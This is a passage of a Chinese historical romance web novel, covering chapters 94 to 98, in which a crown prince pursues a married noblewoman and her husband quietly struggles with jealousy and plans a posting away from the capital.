李审言不知镇安帝脑补了多少,受八十杖责后,他被一瘸一拐地扶回东宫。修养期间,最大的乐趣就是听那些倒霉的官员名单。 具体消息是孟嘉带来的,他慢声陈述时,李审言就趴在床榻上,一下又一下地抛着柑橘,听得漫不经心,似乎还在想其他事。 孟嘉说完人,感慨道:“殿下挑的这件事真是恰到好处,把那些人正好一网打尽。即便偶有漏网之鱼,接下来也不足为患。” 孟嘉口中的那些人,是指镇安帝因过往情面而留下来实则毫无用处的前朝官员,以及一些自以为有从龙之功而嚣张跋扈、肆无忌惮的官员。 李审言早看那些人不顺眼了,和孟嘉明说过要处理掉这些人。那时候孟嘉劝他不要冲动,即使他是太子,也不能冒然对上这么多人,没想到,李审言自己就找了个极好的切入口。 孟嘉之前受的惊吓已经完全消失,对李审言的一石二鸟之计心悦诚服,既得了名声,还能顺理成章地除掉一些政见、图谋不同的官员。 太子如今用计谋已经炉火纯青,不再是莽撞的毛头小子。 如果李审言知道孟嘉的想法,只会嗤笑一声,这可不是一石二鸟,而是一石三鸟。 最后一个雷,是落在陆清蕴和王老三之间。 想象着王宗赫可能的反应,李审言懒洋洋剥开柑橘,掰一瓣投入口中,忽然皱了眉头,往孟嘉手中一丢。 “很酸吗?”孟嘉吃了一瓣,觉得还蛮甜的,“殿下碰不得酸?” 他才知道这事。 李审言灌了口冷茶,点头,“我从来不吃酸。” 第95章 丑陋的嫉妒 教坊司一案轰轰烈烈持续了半个月, 处置大大小小几十名官员。纵然其中有镇安帝不忍心罚、不想罚的人,在太子李审言的推动下,也不得不按律处置。 这些都是后话。 朝会结束,重回户部的王宗赫有条不紊地处理公务, 端的是风轻云淡。 同僚欲言又止, 好不容易抓住他空闲的时机, 把人带到隐秘处谈话, “克衡,你可看了受牵连的官员名单?” 得到点头, 他神色沉重道:“我怀疑陛下是借此事来……” 做了个挤压脖子的手势,继续道:“故意授意太子大闹,就是为了名正言顺处置他们。你我都曾先后在前朝两帝手中为官,有朝一日,恐怕也会被寻机清算。” 王宗赫缓缓摇头, 沉稳自如道:“陛下为九五至尊, 举手可倾天下,若不想留下我们,登基之初就不会留, 没必要事后使这等手段。这些人其身不正、作奸犯科,故有此报。这实属常事,韩兄不必担忧。” 韩姓官员观察他神色,确定他没有对镇安帝的丝毫怨怼, 点头的同时心中不禁失望。 他自然清楚, 镇安帝作风并非如此, 故意拉王宗赫倾诉, 是因他和王宗赫同为前朝官员,都受到重用, 接下来还将竞争同一个位置。倘若王宗赫因此大发牢骚,甚至有所异动,就有理由告其一状了。 可惜,不管王宗赫是真这么想,或心思缜密,目前都无法抓到他的把柄。 局促一笑,他道:“言之有理,看来是我多虑了。” 王宗赫不置可否,回到官署重拾公文,无视了韩度以及其他人的目光。 年纪轻轻便官至三品,即便王宗赫沉稳老练,也容易遭到他人妒忌。在官场上,如他这般出身好、相貌佳、才智出众还能够受到天子重用的,都是凤毛麟角,常人拥有其中一样就足以自得,他却全占了。 更别说,他还有个温婉贤淑、美若天仙的夫人。 这位夫人不仅能打理好后宅,还能帮他一起立功,简直像全天下的好事都聚集在他身上了,叫人如何不妒羡? 唯一能够惹人诟病的,大概是王宗赫如今年至二十有六,与夫人成婚两年多,尚未有子。 思及他曾有段持续一年多的婚姻,柳氏女同样无孕,却在和别人成婚后迅速怀胎产子。好事者便在私下恶意揣测,道王宗赫无法令人有孕。 官场就是如此,因为官者也是人,他们当中既有人可以搅弄风云,也沉迷于这等不入流之事的蝇营狗苟。 王宗赫素来懒得理会这等小事,对于李审言所为,他心中的确另有猜测,却不是同僚想的那样。 时辰一到,王宗赫未作停留,直接归家。 霞光正盛,劈开融雪的寒意,笼罩在身前时,带来一股特有的暖和安心。车内的王宗赫沐浴到这阵暖意,鼻间忽然嗅到香味,令车夫停车,“我去买道雪花酪,你在此稍等。” 车夫忙道:“大人,小的去买吧,排着好长的队呢。” 可说话的当口,王宗赫已经避开他,径直朝雪花酪铺子走去。 雪花酪是道冷食点心,由碾成沫的碎冰、果酪、红豆、酸梅汤、蜂蜜等一同制成,冬夏盛行,清蕴很爱吃。 王宗赫排队时,前后大都是为自家孩子买雪花酪的夫妻,他身穿官袍立在其中,尤为显眼。 考虑到年少的堂弟堂妹也喜欢吃这些,他一次性买了五份,回到马车时递了份给车夫,“带去给你小女儿。” 车夫微怔,受宠若惊之后感动不已,说话都有些结巴了,“多、多谢大人。” 王宗赫移开视线,没说太多。他本来没想过给车夫,是在排队时,忽然忆起清蕴每每准备点心、团扇等小物件时,都不会落下身边的每个人,她还曾逗弄过车夫六岁的小女儿。 马车到大门前时,夕阳依旧,漫步行过回廊、拱门、甬路,离春诵堂还有几步路时,王宗赫看见在院中教人下棋的清蕴。 她似乎心情很好,唇畔笑意都比以往更深。 说着话,对面的孩子忽然抛下棋子扑到她怀中,依依不舍地说着什么。 是静王杨翊,他即将随大长公主南下浙江,此行应该是来告别。 王宗赫走近,听到杨翊稚嫩的声音道:“姨母为什么,不一起走?” “姨母家在这儿呢。”清蕴对他解释。 杨翊看见了王宗赫,对他敌意一如既往。 两人总是互相看不顺眼的状态,但年纪相差太大,王宗赫不可能真和他计较,便先一步进了里屋。 一盏茶的功夫,清蕴送走了杨翊,笑着谢他,“三哥竟会主动帮我买雪花酪。” 以往他总说冷食对脾胃不好,看见她特意吩咐人买,都会投来幽幽的、不赞同的目光。 王宗赫:“恰巧看见了,想起你爱吃。” 清蕴喜欢这说法,绕到屏风后,环抱住王宗赫。他身体微微一僵,很快放松下来。 作为经常伏案的文官,王宗赫久坐之后都会起身走两圈,清晨还会锻炼,体型保持得很好,腰身劲瘦,四肢修长。 清蕴喜欢被他拥在怀中的感觉,偶尔也会主动抱他。 王宗赫转身扶住她肩膀,低头亲下去。 清蕴被他托抱起,仰起微红的脸颊,“等晚上。” 王宗赫嗯了声,就着这样的姿势把人抱到桌边,看她打开盒子,开始品尝雪花酪。 大概是她吃得太享受,眉眼间萦着的愉悦让王宗赫很想知道味道,清蕴看出来了,往他口中喂了一勺,“如何?” 王宗赫:“……似乎只有冰的味道。” 清蕴弯眸,“本来主要就是由冰制成,尝的就是那股凉丝丝的感觉。” 见她说得头头是道,王宗赫忽然俯身,趁最后一点冰凉尚未融化在清蕴舌尖时,细细品尝了番,随后颔首,“还行。” 清蕴被他这一本正经的模样弄得无言,也懒得指责他另有所图的行为,端起雪花酪横在两人之间。 被她这带着小小幼稚的动作逗笑,王宗赫堆积在心头的沉郁直到此时终于散去些许,把玩着她腰间玉佩,慢慢聊起天来,主要是问杨翊来访之事。 清蕴道:“安王留在京城,只有他要和大长公主离开,翊儿不大高兴。” 安王即曾经的文昭帝,他侥幸留得性命,但注定要终身活在监视下,娶妻生子都不得自由,当然不被允许离京。 杨翊还不懂那么多,他只觉得妒忌。 王宗赫低声,“这种小事,大长公主她们自能开解好。” 清蕴随意嗯了声。 静了片刻,他接着道:“教坊司的事,今日可曾听说?” 清蕴看向他,“是有所耳闻,但具体如何不清楚,正等三哥说呢。” 王宗赫便把今日朝会上发生的事,拣关键处讲述,没有故意扭曲李审言行为,也没表露任何看法,倒是一直在观察清蕴,发现她目中闪过的欣赏后,继续出声,“没想到,太子竟会突然管起此事。” 清蕴淡笑了下,“以他的性子,做什么都不足为奇,兴许是心血来潮。” 当真吗?王宗赫很想问自己的妻子,在从自己这里没有得到想要的结果后,她是否,转头去寻找了李审言? 她对李家及和李家相关的人和事,总是格外关心。镇安帝、大长公主、李琪瑛、杨翊,以及李审言。除关心外,还会额外多一份信任。 他并非不能理解,李秉真的存在对她而言必然很特殊,第一任丈夫,才学、容貌、性情都那样出色。最重要的是,他死在二人感情正浓时,和他有关的一切就都有了无法割舍的理由。 李审言当初也是凭借这个身份黏着她,在她心中留下一席之地的吧? 王宗赫置于袖中的手暗暗收紧,他知道,如果清蕴此时看向自己,肯定会被他眼中丑陋的嫉妒所惊。 他不怕李审言觊觎她,也不会因李审言仗着身份对她做了什么而心怀芥蒂,唯独不想看到的,就是清蕴对李审言的特殊和依赖。 教坊司一事,以他的身份无法插手,李审言却有足够底气去嚣张肆意地摆平此事。 而他,甚至不敢在此时对妻子问出口。 翻涌的心绪被王宗赫死死压住,即便是清蕴也毫无所觉。夫妻俩都是聪明又心思细腻的人,甚少有太直白的沟通,所以当一方有意隐藏真实情绪时,另一方很难察觉。 清蕴还颇有兴趣地问:“他擅作主张,陛下罚了吗?” 王宗赫点头,“罚了,杖责八十,现正在宫中休养。” 清蕴想象了下李审言蔫蔫趴着的场景,发现竟无法给那张脸上凭空安上垂头丧气的神色,略眨眼,不再想这个,“不管初衷为何,他确实做了件好事。等风声渐渐平息,我再着人去问问那些女子,看是否愿意有人来织经堂做事。” 织经堂现在基本由她一人管理,里面只收女子。因需要懂得识文断字,对文章也要有所了解,门槛较高,收的都是些原本出身不错但家道中落的女子。 王宗赫附声,“可以,经此一事,也不会有人敢盯着她们,只要本人愿意即可。” 虽然和这些人素不相识,但清蕴自己也可以说是家道中落之人,如果不是机缘巧合来到陆家,她如今处境不一定比她们好多少。因此,她是真心怜惜这些人,得知好消息的情绪也十分明显。 沐浴过后,清蕴来到榻前,发现边上的棋盘被撤去了,随口问道:“怎么撤了棋盘?” 夫妻俩从成婚起就在边上摆了棋盘,时不时会来两局。 王宗赫拍拍身边的位置,示意她躺上来,“最近事太多,耗费精力,不想下。” “而且。”他轻声道,“我并不喜欢下棋。” 清蕴动作微顿,眼眸对上他,没说什么,仅微笑了下,“没什么,还有许多事可以做呢。” 她也是和李秉真在一起时养成了这个习惯而已。 她问:“那三哥以往在夜里都喜欢做什么?” 沉思了下,王宗赫道:“静坐。” “……嗯?” 王宗赫:“我喜欢静坐冥思,月夜最适合。” 触及清蕴眼神,又补充道:“或者翻阅山水画册。” 不补充还好,这一说,清蕴就忍不住轻轻地笑,“三哥真是不负自己从小到大的老成持重,这些喜好,比下棋还要闷。” 王宗赫心微沉,她很不喜欢? 但转瞬间,清蕴已经扑了过来,清香顿时萦绕在身侧,他看见她笑道:“无事,我也是比较闷的人,单看谁更耐得住吧。” 王宗赫亦露出淡笑。 这边夫妻和乐,另一厢,负伤的李审言在床上趴也趴不安稳,一会儿无聊地削木头,一会儿翻看两眼兵书,再过阵子又硬撑着站起身耍刀,总之没消停的时候。 等身体终于疲了些,他才重重往床榻上一趴,心想,王老三应当忍不住了吧。 第96章 太子选妃 冬夜生寒, 在偌大的宫殿独睡时,更显得孤枕难眠。李审言却睡得很好,狂风拍打隔扇、树木,传来呜呜响声, 他在梦中看着陆清蕴和王宗赫心思各异, 渐行渐远。 醒来时, 身上的伤口疼痛感似乎也减轻许多。 内侍如意估摸时辰, 准备服侍他洗漱更衣,惊讶地发现太子已经自己起了。行走间有些一瘸一拐, 但已经足够令人震惊,要知道这可是捱了结结实实的八十个板子。 他忙上前帮忙搀着,“殿下要出门吗?” 陛下都免了这段时间的早朝。 李审言摇头,“待会儿去仁寿宫。” 他固定每隔两天就会去看祖母一次,老人家习惯了, 今天看不到他必会询问, 如果得知他捱了板子,肯定心急。 本就被太医断定没多少日子的人,李审言不想她临了还要添不必要的烦恼。 在镜前走了几回, 不断纠正走姿,在李审言强大的意志力下,腿伤看起来改善许多。待踏进仁寿宫,已经和常人无异, 只是步子迈得不如以往大。 他来得巧, 太后正闹脾气不肯吃药, 曾经的周妈妈如今的周嬷嬷愁得不知如何是好, 看见他如临救星,亲近道:“您快来劝劝娘娘罢, 不喝药怎么行呢!” 太后板着脸,“我已经好了许多。” 李审言毫不客气,“你不是大夫,说了不算。” 说完接过药,亲自喂端了个小凳坐着喂她。 太后不给镇安帝、周嬷嬷等人面子,唯独对着李审言听话得很,乖乖喝了口药,顿时被苦得眉头更皱。 又喝几口,她忍不住伸手,“给我吧。” 还不如一次性喝下。 李审言慢悠悠把碗换了个位置,继续一勺一勺递,“之前闹脾气不就是等着我来喂么,没事,还有时间,慢慢来。” 太后:“……” 眼见他气人的作风一如既往,周嬷嬷噗嗤笑起来,不管这祖孙斗法,吩咐人去备早膳。 一碗黑糊糊的汤药入腹,太后被苦得直找蜜饯,李审言边拿边嘴上不饶人,“你说你,总倔什么,不还是喝下去了。” 太后好半天缓过来,慢慢道:“那你倒是,说说,我倔的什么?” 老人家年纪大了,如今又身患重病,自觉时日无多,操心的无非就那几件事。 在太后还没有生病前,甚至远在镇安帝尚未离京平乱前,太后就念叨过多次李审言娶妻的事。她总以为李审言是因其父亲的前车之鉴不想成亲,此前给足了耐心,没想到越拖越久,如今人都二十九了,还完全没有成家的意思,这怎么行? 太后觉得,自己的病都是由此而来。 李审言面不改色道:“知道,无非是觉得后宫空荡荡的,陛下太孤单了。放心,明儿我就去帮他找七八十来个美人,保证再给你多生几个大胖孙子。” 太后还没反应过来,刚进门的镇安帝一个趔趄,险些摔倒,浑厚的声音从后方传来,“混账东西说什么!” 李审言回头,“说陛下您呢。” 内侍总管徐全立刻低头,太子这张嘴真是一如既往,不分对象地噎人。 看在儿子刚受了罚的份上,镇安帝不和他计较,正准备给母亲问安,岂料那番话还真说中了太后的一半心思,“说得不错,你准备,什么时候选秀?” 由于生病,太后说话有气无力,常常需要停顿,但这不妨碍她质问儿孙。 镇安帝哭笑不得,“母亲,我都这把年纪了,没必要。” 儿子都快三十了,镇安帝对这事是真没兴趣。许是别人想的,对大长公主念念不忘,许是国事太忙,无心操劳其他。总之,镇安帝就没做过填充后宫的打算。 太后不满,“你才,五十多。” 镇安帝唉了声,“五十多早就不算年轻了,您瞅瞅,这小子都快老了,我整日里要忙那么多事,哪有时间应付什么后宫?要不等过段时间吧,等您身子好些了,再亲自帮儿子操劳这事。” 太后沉默,她还能有好的时候吗?这说法明显是敷衍。 对于他编排自己老的事,李审言没正面反驳,只是嗤声震天响。要不是如今负伤,怎么也得当场舞一套刀法。 镇安帝懒得搭理他,瞧见空荡荡的汤碗,问:“喝了药吗?可要儿子服侍?” 刚说完,就被太后狠狠瞪了眼,让他怔了下,很快反应过来,定是李审言又做了什么好事。 本来,镇安帝心里还因那八十大板感觉委屈了李审言,在见到人之后,这些想法顿时消失,这小子就是有把所有人都气得七窍生烟的本事。 父子俩就这样陪着太后聊天,看她精神尚可,镇安帝问:“您生辰快到了,是想大办一场,还是就咱们几个吃顿饭?” 太后多年信佛,物欲早就淡了,对排场架势没什么讲究,这么多年连宴会都没怎么举办过。但她心里存着事,想想道:“你刚登基,宫里是该热闹热闹,多叫些人吧。” 镇安帝应好。 事情就这么定下,太后指明了要热闹,镇安帝就让内侍总管徐全拟了份极长的名单,几乎囊括了所有朝官及其家眷,另有皇亲国戚等人,最初算起来竟有六七百人。为免人多生事,随后删删减减,将总人数控制在三百以内。 很快,那些家中有女的官员就接到消息,说太后有意在生辰宴上为太子选妃,暗示他们带上自家女儿。 这则消息,是家中长辈闲聊时让清蕴知道的,说起太子年纪,都淡是该娶妻了。之前被战乱耽搁几年,如今可不得赶紧办好这终身大事。 王贞这一支已经没了适龄的女儿,但王家其他支还有。这些人来请教秦夫人,秦夫人想了想,亲自来问清蕴:“猗猗,你曾和那位太子相处过不少时间,依你之见,他是什么性子,又会选什么样的姑娘?” 清蕴沉思,“祖母,实不相瞒,虽然我曾与太子同住国公府,但见面极少,并不算了解,只知他和寻常世家子弟有些不同,性情桀骜不驯,武力出众。除此之外,就和您知道的相差无几了。” 秦夫人点头,她想也是这样,猗猗这么娴静的姑娘,和太子那种性格也不会走得多近。 她问:“那你可曾见过他接触过什么女子?” 清蕴这次连思索都没有,直接摇头,“不曾。” 秦夫人犯难了,这可怎么回她们? 清蕴观她神色,轻声问:“她们很想争这太子妃之位吗?” 秦夫人:“倒也不是,只是摸不准要不要带家中姑娘去,才想问细些。” 如果真是一心一意奔着那位置去的,秦夫人也不会帮忙打探。 清蕴微微一笑,“依我来看,就当做没有此事,原本会如何赴宴,就继续如何。毕竟相看的是太子那边,没看中不至于失望,看中了便是有缘。且陛下是最体恤讲理之人,即便太子那儿看上了谁,姑娘自身不愿意,他也不会勉强。” 秦夫人听了,深以为然。 有了这些话,王家果然没再纠结于此事,原本如何继续如何,没特意多带人,也没故意少带人。 和他们不同的是,有些人家明显是铆足了劲冲着太子选妃来的,从衣着到妆扮无不精心,乍然看去,已经和寿宴关系不大。 清蕴静静欣赏这百花盛放的情景,感觉很是赏心悦目。 她和王宗赫一同进宫,但宴席将男女分开,臣子们一处,女眷一处,她就和几位长辈坐一块儿了。 令人惊讶的是,宴上点心和菜式都还蛮合她胃口,酒水亦是她喜欢的葡萄酿。 镇安帝和大臣们在前殿畅饮,李审言就陪在太后身边,被所有女眷看得清清楚楚。 他今日颇为不同,玄色蟒袍,玉带扣腰,偏首和太后低语时,灯光自然而然落在那轮廓分明的侧脸,眉骨处的阴影显得眼眸尤其深邃,端的是一副足够迷惑人心的好样貌。 清蕴能听到有人在低声窃窃私语,称赞太子相貌英俊。亦有人畏惧他过于高大健硕的身材,感觉他看着就不大好相处。 她一律当趣事来听,觉得蛮有意思。 宴席过半时,清蕴觉得坐久了,左右这时候也有人陆续起身,或是到附近园子里走走,或是去更衣净手,她也准备去趟净房。 一直用余光注意她的李审言总算看见人离开,唇角微勾,找了个理由就离开座席,等在清蕴回来的必经之地。 这段路位于拱门和回廊之间,仅有一盏灯笼照明,光线昏暗,掩去李审言的半边脸,唯独能看清他手中被不停抛洒的金豆。 待清蕴身影出现时,他低低出声,“文襄夫人。” 一字一句咬在口中,在幽暗的夜色中有种独特韵味。 清蕴脚步微顿,对上白芷的目光暗暗摇头,他可不怕招来旁人。 见她适时停留在原地,没有转身就走,李审言笑了,示意白芷离远点。 白芷并不听他的,得到清蕴示意才往回廊下面有,顺便盯着随时可能接近的其他人。 清蕴:“太子可有事?” 李审言反问:“不是你找我有事吗?” 清蕴一愣,随即见李审言眼中流露出熟悉的兴味,“你不是在到处打听,我喜欢什么样的女子吗?” 听到这话,清蕴顿时明白他为何而来了,垂眸道:“太子听错了,我不曾打听此事,是因太后要选太子妃一言,其他人好奇而已。” 李审言可不管是谁打听,反正陆清蕴那些话传入他耳中时,直接让他气笑了。听到陆清蕴对自己的诸多不了解,当即决定亲自来为她答疑解惑。 第97章 只要清蕴愿意给,他就想信 李审言不紧不慢开口, “寻常脂粉入不了我的眼,要想被选中,首先需得容色殊丽。” “其次,要肤若新雪, 最好皎若云中月, 立在那儿便夺尽满堂辉。” 说着这些话时, 他眼睛紧紧盯着清蕴, 没什么特别的动作,竟让她不自然地偏过脑袋, 不再和他对视。 因为那些话与其说是在提要求,不如更像是他对她的描述。 见清蕴这细微的反应,李审言眉梢微微闪过笑意,接着道:“当然,身量至少要及我肩侧, 不然——” 他声音带了三分戏谑, “我可没兴趣对着一个小矮子的头顶说情话。” 正好差一点和他肩膀齐平的清蕴:“……” 她道:“听起来,太子遣词造句的功夫大有进步。” 李审言:“那当然,读书才会知礼仪、明荣辱, 腹内没有些墨水,岂不容易被人笑话。” 清蕴露出礼貌性的微笑。 李审言还没停,继续道:“至于这性情,当然要温柔可人些, 不能动不动就打人, 连话都没听完就不理人。” 清蕴继续装作听不懂, 这人还得寸进尺, “文襄夫人有适合这些要求的姑娘介绍么?” “没有。”清蕴道,“我早已出阁, 并不认得多少未婚女子,太子想选妃,应该早点回席,太后和许多姑娘正等着呢。” 说着往前一步,“我也差不多是时候该回去了。” 李审言侧一步,挡住她的去路,看着她默了会儿,“行吧,除去最开始那两句,其余话都是骗人的。” 清蕴讶然抬首。 听李审言刚才那些话,她本以为他是带着怒气来算账,毕竟“桀骜不驯”“只有武力出众”不算什么好评价。他性子如此,所以刚刚被有意无意暗指,她也不觉得奇怪。 可他竟这么快解释? 李审言不觉得主动低头有什么不对,在陆清蕴面前,他早就把“脸面”这玩意抛之脑后了。 低头看她,“只是想让你知道,我对其他人没什么兴趣。” 清蕴默然。 李审言:“就算你这阵子都用避开我来表明心意,也没必要急着和别人一起催我给李家配种吧。” 清蕴:“……”这话太粗俗直白,她更不知道怎么接。 往后退一步靠在树干上,让她不再有那么大压力,李审言垂眸,“我这人不喜欢三心二意,认定的事就不会改。你和王宗赫既然琴瑟和鸣,旁人怎么做都分不开,我只在旁边看着,难道也碍了你的眼?” 语气放轻,话中竟有难得的卑微,可谓把身段放低到了极致。对于普通男子来说都很难得,更别说这是李审言,对上镇安帝也照样叛逆的李审言。 如果李审言强硬些,和之前几次一样肆无忌惮、嚣张跋扈,清蕴只会对他不假辞色,也不怕他来硬的。但当他说出这种类似剖析心迹、恳求的话,她难免迟疑。 决绝的事已经做过,他仍旧不肯放弃。于公,无论是他随军征战平乱,还是他对抗诸多重臣解救教坊司女子,清蕴都很欣赏他。于私,他曾帮过她许多,除却对她流露的男女之情,其他基本无可指摘。 她一再避让,甚至表达厌恶,是不想让他破坏自己已经安排好的生活。 半晌,清蕴轻轻叹一声,“我曾为李家妇,如今再醮有归,无论如何,都不应和殿下有牵扯。倘若殿下当真有所垂怜,便更该替我着想。和臣子之妻纠缠,传出去对你而言不过添一笔艳闻,于我而言——流言却为千钧枷锁,稍有不慎,就可能是灭顶之灾。” 她似乎略含无奈,蛾眉轻蹙,神色堪怜。李审言心神的确恍惚了下,险些要直接说“对不起”了,但他更了解陆清蕴,她如果会真心露出这种示弱的表情,那才有鬼。 不过是两相对演,看谁更能骗人罢了。她当初为达到目的,在大长公主面前连眼泪也是说流就流。 即刻识破了她的把戏,李审言没戳穿,而是随着她的话沉思,“你说得有理。” 清蕴轻闪眼睫,不动声色观察他的表情。 “既然如此,那我有个方法。”李审言冥思苦想后道。 清蕴:“嗯?” 李审言饶有兴致,“我对夫人实难忘怀,都道堵不如疏,这样吧,不如夫人定个地方,我们每隔三天见一面,并不做什么,只是见面谈心。次数多了,相思之苦一解,兴许我就觉得无趣,自然而然放下了。” 他补充道:“放心,我定会安排得隐秘些,谁都不会发现。” 清蕴:“……” 看见她眉头皱起、嘴唇微抿的不高兴神色,李审言几乎要肆意笑出来,很想抬手捏捏她的脸,以表明自己“洞若观火”,丝毫没被她骗到。 交谈还没继续,白芷忽然发出声音,神色着急地冲清蕴打手势。 但已经来不及了,清蕴和李审言都看到了来人。 缓缓走下回廊的,不是王宗赫又是何人? 王宗赫是特意来寻清蕴的,当他以寻祖母的名义来女眷这边,看见清蕴和李审言座位都空着,就有了不好的预感。脚步比意识更先一步迈了出去,一路走到这里,瞧见白芷的身影。 清蕴果然被李审言缠住了,不,或者不该这么说。 懒散倚树的李审言微微直起身子,清蕴和他隔了三步远,侧首看着回廊下的花。两人虽然没有面对面,也没有任何肢体接触,但王宗赫从他们的神色中看出,方才二人交谈甚欢。 胸口处的滞重感有瞬间加重,王宗赫表面若无其事地朝李审言打招呼,对清蕴道:“夫人离席有些久,祖母担心,让我来寻你。” 清蕴颔首,“刚才路上遇到一条蛇窜过去,恰巧太子遇见帮了我,所以耽搁了会儿。” 至于为什么大冬天的皇宫内园子里会有蛇,谁都没在意这个问题。 王宗赫要的就是一个理由,只要清蕴愿意给,他就想信。 转向李审言,王宗赫道:“多谢太子为内子解困。” 李审言稍稍扬眉,好像从隐秘处看出了这对夫妻的问题,摆摆手道:“应该的。” 王宗赫:“今日不便,改日臣再携礼拜谢。” 李审言直接笑了两声,对他这话没做回答,而是看着清蕴,“既然有人来,那我就先走了。夫人别忘了,我们方才约好的事。” 分明什么都没约好,他自顾自说出来,神色还坦荡荡,让清蕴不合时宜地想,在做戏这方面,李审言真是长进了不少。 她能清晰感觉到,王宗赫握着的手紧了紧,显然不像表面那么无动于衷。 可等人都走了,他依旧没显露异样,沉稳从容地牵着清蕴往回走。 这种事,自己一味开口解释总有种不打自招、做贼心虚之感,清蕴迅速思考了下,决定等三哥问起,就说出七分事实。 但王宗赫一直没问。 在席间、马车上,甚至都沐浴好了躺在床上,他对今晚的事好像没有丝毫好奇。 “三哥,今夜……”清蕴柔声开口,才吐出几个字,就被王宗赫止住,目光含着深意,“不必说,我信你。” 清蕴:“……为何?” “如果会轻易为这种小事怀疑你,我又有什么资格做你的丈夫?” 话虽如此,清蕴总觉得三哥状态有些不对劲。 他不可能不介意。 转眼间,王宗赫已经扶着她腰亲了下来,含住她唇瓣舔吻吮吸,吻得有些重,让清蕴轻嘶了声。 “抱歉。”他的声音变得低哑,问她,“很痛吗?”。 清蕴摇头,抬手环住他,像是在安抚,“轻些就好。” 王宗赫定定看了她一会儿,随着一个“好”字落下,彻底拉下了帷帐。 第98章 我们和离吧,三哥 “猗猗, 我想申请外放。”云消雨歇时,王宗赫把清蕴拥在怀中,胸膛温暖结实,心跳沉稳有力, 在冬夜中很让人依赖。 清蕴半阖的眼睁开, “为什么?” 王宗赫的理由很充分, “文臣笔墨虽工, 难润九边焦土。经筵纶音纵妙,不济闾阎饥寒。我自幼长于京城, 有幸科举夺魁,一路得师长提携,官途坦荡,却不懂真正的民生疾苦。当然,我还想离开京城, 去见识一下别地的风土人情。” 清蕴沉默了会儿, “陛下已经定你入阁,这时候选择外放,那边如何交代?” “只要把理由说明, 陛下会应的。”王宗赫帮她盖紧被褥,防止夜风侵袭,“倘若陛下不弃,等在外历练几年再回, 我也能更好为国效力。” “你想去哪儿?” 王宗赫眉眼间含着温情, “江苏如何?那是你的故乡, 虽然陆家人也在那边, 但今时不同往日,只要你不愿, 他们就打扰不了我们。” 冠冕堂皇的理由,动人的说辞,清蕴道:“如果三哥已经下定决心,我自然不会反对。” 她应得如此爽快,王宗赫目中讶然闪过,将她转过来,面对面问:“你愿意?” 清蕴抬眸看着他,缓缓摇头,“三哥去吧,我留在京城侍奉祖父祖母。” 动作停滞,王宗赫不可置信,“我们是夫妻。” “夫妻也不一定要时刻相守,看那些武将家眷,丈夫外出征战,妻子、儿女不都是在家中等候?当初二叔外放,二婶也是留在家中。”清蕴说着,浅笑了下,“何况,三哥有为国为民之心,有大志向,我也有自己的事要做。生意上的事可以脱手,但织经堂和学堂如今都由我操持,如果冒然离开,好不容易立足的他们,恐怕就要没了。” 王宗赫语速快了些,“我可以帮你物色可靠的人代管,且我们并非数年不回。若有要事,我陪你回来处理。” “一旦外放,哪能说回就回,那和你初心也不符。”清蕴语调平静,“我不想成为累赘,更不想让三哥因我怠慢正业。” 他想外放的理由十分充足,她要留下的原因更是无懈可击。 王宗赫从来不知道,当清蕴的聪慧用来和自己辩驳,使自己哑口无言时,会让他心情如此沉闷。 他目光落在怀中人的侧脸,那里经烛光照映,显得细腻如脂,似暖玉一般。眉心也是一片平坦,没有任何犹豫纠结。 夫妻分离对她而言,是能够如此坦然接受的事吗? 片刻无声,王宗赫问:“猗猗,你当真是因为这些,不想和我一起吗?” 怀中没回答,就在王宗赫以为她不再理会自己时,她轻声道:“那三哥能告诉我,你当真是因为想历练,才准备外放吗?” 王宗赫身体僵住。 他无法对这样的清蕴说谎,更无法倾诉出自己阴暗和卑劣的心思。 其实他从来不是遇难则退的人,这样的性格没办法在官场上生存。 新朝初立,镇安帝的破格重用让他能够继续身居高位、执掌大权,也给他带来了许多麻烦。前朝官员断定他谄媚逢迎,为了权力不顾曾经的师生之谊,不愿再与他来往。和镇安帝共同打天下的人则对他时时排挤,不高兴他也能和他们得到同等重赏,处处使绊。可他根本不惧这些,因他知道处境只是短暂,真正能让人拥有话语权的还是各自的本事。 真正令王宗赫不安、回避的是,清蕴对李审言的纵容与特殊。他本身便是机缘巧合才有幸娶清蕴为妻,并不敢肯定她对自己有多少真情实感。 假如李审言是那个能够让她敞开心扉的人,在其长久热烈的、可以为她打破一切礼法的攻势下,她真的还会留在他身边吗? 王宗赫不想赌。 清蕴眼中闪过失望,三哥依然不愿和她说。 她忽然起身,从橱柜里取出一床被褥铺好睡了进去,回头还笑了笑,“夜里寒,我睡觉时喜欢乱动,三哥为照顾我总把被子全让过来,容易着凉。还是各自睡吧,这样也安稳些。” 王宗赫没有反对的余地,只能沉默看着她闭眼入睡。之前身体还在极度恩爱的夫妻转眼睡进了两床被褥,各怀心事。 望着帐顶许久,王宗赫一夜无眠。 和他不同的是,清蕴纵有再多的心事,在能够休息时,一般不会故意为难自己。因此深深呼吸几个来回,她有意放空思绪,没多久就睡了过去。 醒来时,身边位置早就凉了。白芷轻手轻脚地走过来,看见两床被褥也没有多问,“主子是在家用早饭,还是去外面?” 今天定好要去学堂看看,清蕴不想因和王宗赫的隐秘争吵就一直烦恼,问过时辰后道:“去外面吧。” 正好换换心情。 几年下来,学堂经营已经走上正轨,名声渐起,一些不愿入仕的文人慕名而来,通常会被学子的灵秀聪颖吸引,最终留在学堂。 学堂给他们的束脩也很多,在京城没有落脚处的还可以住在学堂统一提供的宅院。 清蕴转了圈,在旁屋和学子们一起听了堂课,听先生逐字逐句讲解时,鬼使神差想到了昨天遇见李审言时他说的那些话,突然笑了下。 很轻的笑,在只有她和白芷的小屋内极其明显。起初清蕴自己没有感觉,处理白芷迷惑的眼神才明白过来。 “衡儿很聪明。”清蕴解释。 正巧是先生在对尤衡提问,白芷点点头,没把真正的问题说出来。刚才主子明显在出神,而不是听课。 听完课,清蕴留在学堂用了顿饭,了解了番当前学堂情况。 镇安帝登基前,学堂背后是大长公主,如今换成清蕴,她受封文襄夫人,有面见天子和密奏之权,没人会无事招惹。因此经手之人过渡期间,学堂安然无恙。 大半天的时间消磨得差不多了,清蕴归家,发现王宗赫比自己还早,正在内室看书时,对他笑了笑,先去洗漱沐浴。 当夜,夫妻俩仍是分被而寝。 清蕴倒也没有故意不搭理人,和王宗赫相处时,她仍和平常一样说话聊天,也会关心他的起居和身体。 表面上,除去外放去留的小分歧,他们没什么大矛盾,王宗赫却肉眼可见得沉默了许多。 他原本就话少,现在更是不轻易开口。 直到又一次,宫中太后以赏冰雕的理由,召官员家眷进宫时,王宗赫道:“那日我正好在酒楼定了宴席,可否不去?” 清蕴讶异,“什么宴席?” “我们成婚整整九百日,我觉得,应当庆祝。” 